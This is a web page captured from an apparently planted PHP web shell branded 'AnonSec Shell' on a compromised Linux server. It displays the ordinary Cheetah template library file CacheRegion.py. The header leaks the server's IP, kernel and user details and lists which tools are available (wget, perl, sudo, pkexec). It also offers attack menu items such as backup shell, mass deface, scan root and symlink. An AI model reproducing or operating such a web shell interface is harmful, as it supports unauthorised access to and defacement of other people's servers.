AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /proc/23608/task/23608/root/usr/lib/python2.7/dist-packages/Cheetah/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /proc/23608/task/23608/root/usr/lib/python2.7/dist-packages/Cheetah/CacheRegion.py

# $Id: CacheRegion.py,v 1.3 2006/01/28 04:19:30 tavis_rudd Exp $
'''
Cache holder classes for Cheetah:

Cache regions are defined using the #cache Cheetah directive. Each
cache region can be viewed as a dictionary (keyed by cacheRegionID)
handling at least one cache item (the default one). It's possible to add
cacheItems in a region by using the `varyBy` #cache directive parameter as
in the following example::
   #def getArticle
      this is the article content.
   #end def

   #cache varyBy=$getArticleID()
      $getArticle($getArticleID())
   #end cache

The code above will generate a CacheRegion and add new cacheItem for each value
of $getArticleID().
'''

try:
    from hashlib import md5
except ImportError:
    from md5 import md5

import time
import Cheetah.CacheStore

class CacheItem(object):
    '''
    A CacheItem is a container storing:

        - cacheID (string)
        - refreshTime (timestamp or None) : last time the cache was refreshed
        - data (string) : the content of the cache
    '''
    
    def __init__(self, cacheItemID, cacheStore):
        self._cacheItemID = cacheItemID
        self._cacheStore = cacheStore
        self._refreshTime = None
        self._expiryTime = 0

    def hasExpired(self):
        return (self._expiryTime and time.time() > self._expiryTime)
    
    def setExpiryTime(self, time):
        self._expiryTime = time

    def getExpiryTime(self):
        return self._expiryTime

    def setData(self, data):
        self._refreshTime = time.time()
        self._cacheStore.set(self._cacheItemID, data, self._expiryTime)

    def getRefreshTime(self):
        return self._refreshTime

    def getData(self):
        assert self._refreshTime
        return self._cacheStore.get(self._cacheItemID)

    def renderOutput(self):
        """Can be overridden to implement edge-caching"""
        return self.getData() or ""

    def clear(self):
        self._cacheStore.delete(self._cacheItemID)
        self._refreshTime = None

class _CacheDataStoreWrapper(object):
    def __init__(self, dataStore, keyPrefix):
        self._dataStore = dataStore
        self._keyPrefix = keyPrefix
        
    def get(self, key):
        return self._dataStore.get(self._keyPrefix+key)

    def delete(self, key):
        self._dataStore.delete(self._keyPrefix+key)

    def set(self, key, val, time=0):        
        self._dataStore.set(self._keyPrefix+key, val, time=time)

class CacheRegion(object):
    '''
    A `CacheRegion` stores some `CacheItem` instances.

    This implementation stores the data in the memory of the current process.
    If you need a more advanced data store, create a cacheStore class that works
    with Cheetah's CacheStore protocol and provide it as the cacheStore argument
    to __init__.  For example you could use
    Cheetah.CacheStore.MemcachedCacheStore, a wrapper around the Python
    memcached API (http://www.danga.com/memcached).
    '''
    _cacheItemClass = CacheItem
    
    def __init__(self, regionID, templateCacheIdPrefix='', cacheStore=None):
        self._isNew = True
        self._regionID = regionID
        self._templateCacheIdPrefix = templateCacheIdPrefix
        if not cacheStore:
            cacheStore = Cheetah.CacheStore.MemoryCacheStore()
        self._cacheStore = cacheStore
        self._wrappedCacheDataStore = _CacheDataStoreWrapper(
            cacheStore, keyPrefix=templateCacheIdPrefix+':'+regionID+':')
        self._cacheItems = {}

    def isNew(self):
        return self._isNew
        
    def clear(self):
        " drop all the caches stored in this cache region "
        for cacheItemId in self._cacheItems.keys():
            cacheItem = self._cacheItems[cacheItemId]
            cacheItem.clear()
            del self._cacheItems[cacheItemId]
        
    def getCacheItem(self, cacheItemID):
        """ Lazy access to a cacheItem

            Try to find a cache in the stored caches. If it doesn't
            exist, it's created.
            
            Returns a `CacheItem` instance.
        """
        cacheItemID = md5(str(cacheItemID)).hexdigest()
        
        if cacheItemID not in self._cacheItems:
            cacheItem = self._cacheItemClass(
                cacheItemID=cacheItemID, cacheStore=self._wrappedCacheDataStore)
            self._cacheItems[cacheItemID] = cacheItem
            self._isNew = False
        return self._cacheItems[cacheItemID]

Anon7 - 2022
AnonSec Team